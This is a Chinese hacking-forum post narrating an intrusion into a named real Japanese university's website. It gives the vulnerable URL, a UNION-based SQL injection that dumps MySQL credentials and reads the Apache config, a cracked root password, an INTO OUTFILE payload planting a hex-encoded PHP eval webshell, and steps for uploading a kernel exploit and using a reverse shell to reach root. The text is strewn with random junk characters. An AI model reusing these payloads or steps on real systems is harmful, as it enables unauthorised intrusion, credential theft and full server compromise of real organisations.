找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2398|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析
7 A  ^  |( j; w; x3 T7 c+ q! j8 h7 z( k% ~3 U, |0 C
http://www.doshisha.ac.jp/chs/news/index.php?i=-1
  K6 @8 \& r% a) v  f5 W4 c  H然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:3 y- P9 q" K2 v9 u: i2 |' B( P3 h
+ T9 w# n! [% p  R% j8 R
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
; o. B: m4 \1 Q& o" `) M& A4 W' M; k% }/ N0 o

( O5 w: K5 C1 t: l7 x
% f" {3 y" Q- d+ X3 l9 h//@@datadir为数据库文件路径
( @- X/ m+ `# [+ ^& n- l ; e  ^, c: F( @; `8 F3 H/ V

) b% u0 D$ V  Q, a' \: \0 [//load_file读取网站容器apache的配置文件   a6 w& e' K7 g- R

8 T! B3 O4 v5 t) H# H1 F0 ^2 P4 X* P7 q; i2 k
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
; D/ v- B7 ?. x2 U( V! P% w复制代码/ d9 s- ^0 [# m4 n# O  ?" l, M9 @3 f
# f! y+ c% V% K2 i& X/ S5 y( q3 M
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
8 }) C" m! {: d  }& F& n* m3 i' z/ e9 h. v( F( E
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
* ~: N" H6 s. T- s(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
4 o& Z" h, k3 ^4 u: |; s/ v
4 N. G( H6 U' b2 x) U. t( _. Y- H; \前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
3 v# u: a: |& e7 j如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
2 Z/ G: e; i4 H
: q; V% w6 ?' }9 l( y8 B既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
4 T9 x+ t2 V) @3 ^; V虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。2 I6 H5 \% W  h' V$ R% @% r
直接写一句话:# r6 x  P) v6 F$ m

/ s. p5 Y  A$ a4 ihttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#' `3 K- \  k% L
2 W6 a0 M3 {) U9 E" }  P2 E' P
* J# k- `/ a& D
7 v" c$ t- q' b/ T% H
//最后的#是为了闭合前面的语句 - [$ T! \$ `1 i. |
5 z( s; }" W; H% R0 Q, I7 {

* Y' R5 f+ X' E% u7 t+ z" Z/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
, \2 C" v& K. Y* l7 p/ t
- V5 ~. @: Y5 W6 G$ R& h8 K3 Z: X7 h; ^+ M- x, }
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
. j* I. ^9 z! g
" \- \& y' e5 `# }- F0 k5 ?6 d% b: N0 @7 N+ c8 C
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 / W* |" s% }( s* i0 R' V4 R

& Q. R; F/ b# F: B! \/ V! d* W+ c2 y& V
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
6 e3 |" M7 C6 ?- N//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
) ~% j0 }6 e/ N复制代码7 Y+ O$ j, q1 G5 j1 F
9 @% _4 ^1 F  g* j6 X
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
- [* d2 r1 g, l通过上述注入语句,我们就得到了一句话木马:0 F; {+ e, a6 ^/ q9 o# o
) }, \0 c3 F9 o6 O# K

4 J5 u. R& V1 U* N8 _: n) _' Y- q
) }% [$ o, S2 D! K8 r6 t9 P4 q7 G

9 {9 G8 _, \$ Y: Ihttp://www.doshisha.ac.jp/english/engnews_img/aa.php
! u+ Q& J, n. i8 \& z. v8 y$ d3 K0 F复制代码
, B: [+ b, W4 y3 e2 a2 y* l
1 h' d, L: p* D: Q) ?; \用菜刀连接,密码是cmd,如图所示:
1 n  Y: Z; j0 h0 j3 p然后在命令提示行里看了一下,现在的权限是:3 A3 `  q1 v6 k/ G

( A2 b0 u' p" [3 ^之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
: A! @7 H  W: e( K1 x好在赋权给这个文件夹不需要root,直接执行赋权语句:
7 p; d- j! b& C) Q4 c7 z. B% t! A: G; E; o7 y$ i3 L; B
, ]6 ]- S1 t' ~, a& j  U4 Z& h6 c
1 a3 M* [" Q" N

3 C+ a# `2 |# b
3 \' }+ d/ o% Wchmod +x /tmp/ , e: ]- a# W6 V; w# H8 f
复制代码
% H1 Q1 @) Y" q3 P3 ]3 ]6 X6 L/ Z+ F! S9 N. v4 H/ T$ K
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行4 B- ~" I0 I6 M& A
然后就查了一下内核版本:0 {% _0 |% @* A: w1 y0 b$ J
1 b5 z% B3 X& g- V

8 D# p+ ?8 a* n6 }
2 V. A* m6 z5 |& ]1 I
8 f, z: q4 P  y7 w7 F( c3 S4 ^' z0 b6 [& D- N5 x
uname-a / u$ p1 x% X  _

8 {0 {4 w; z4 K  a: s
) c3 ]* Y! W# X  u  w7 R//其实lsb_release -a 0 ^; x3 X% b1 `$ z4 ]. ?
复制代码+ m9 ?! R5 O# x: S0 B
# {( s" u+ r# b7 S
如图所示:
3 p6 r; R- n7 S, f8 N. b3 q% Z' l+ W0 d  S4 Q, d  t" Z# d  _
内核版本:linux mainz1 2.6.28-194.e15
8 V- \- t8 _" E  k( @+ ?系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
* b5 R! X/ E& T6 U查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
6 }# H. Z0 N/ a$ S$ h: ~. I/ B# ^# C9 C6 a) E
然后给予执行权限
0 H. q6 Y& y7 M+ y2 \一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样3 R2 z* S+ c, A" w% q0 L
* {/ T$ b( j+ x+ s
) m6 H( Z/ X7 f. v- J% o
+ \4 f9 `# c1 X- @  \

: l* u! Y6 x! J9 i% d
6 Y" {, `; T# l- \3 k; }chmod +x /tmp/2.6.18-194 9 e; G3 m: M0 ?  Z7 ]3 ~
复制代码 然后直接执行!~
: x6 w5 w" l" P- j1 K: _( K& [7 g9 o" K5 N: K
总结:4 M4 p6 H( y, R6 \$ Y' C5 V& P6 C
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了7 X1 t8 s# F, a2 z# _
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root8 E$ o) F4 ~) U

. G- T: K  d# w: f8 M
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表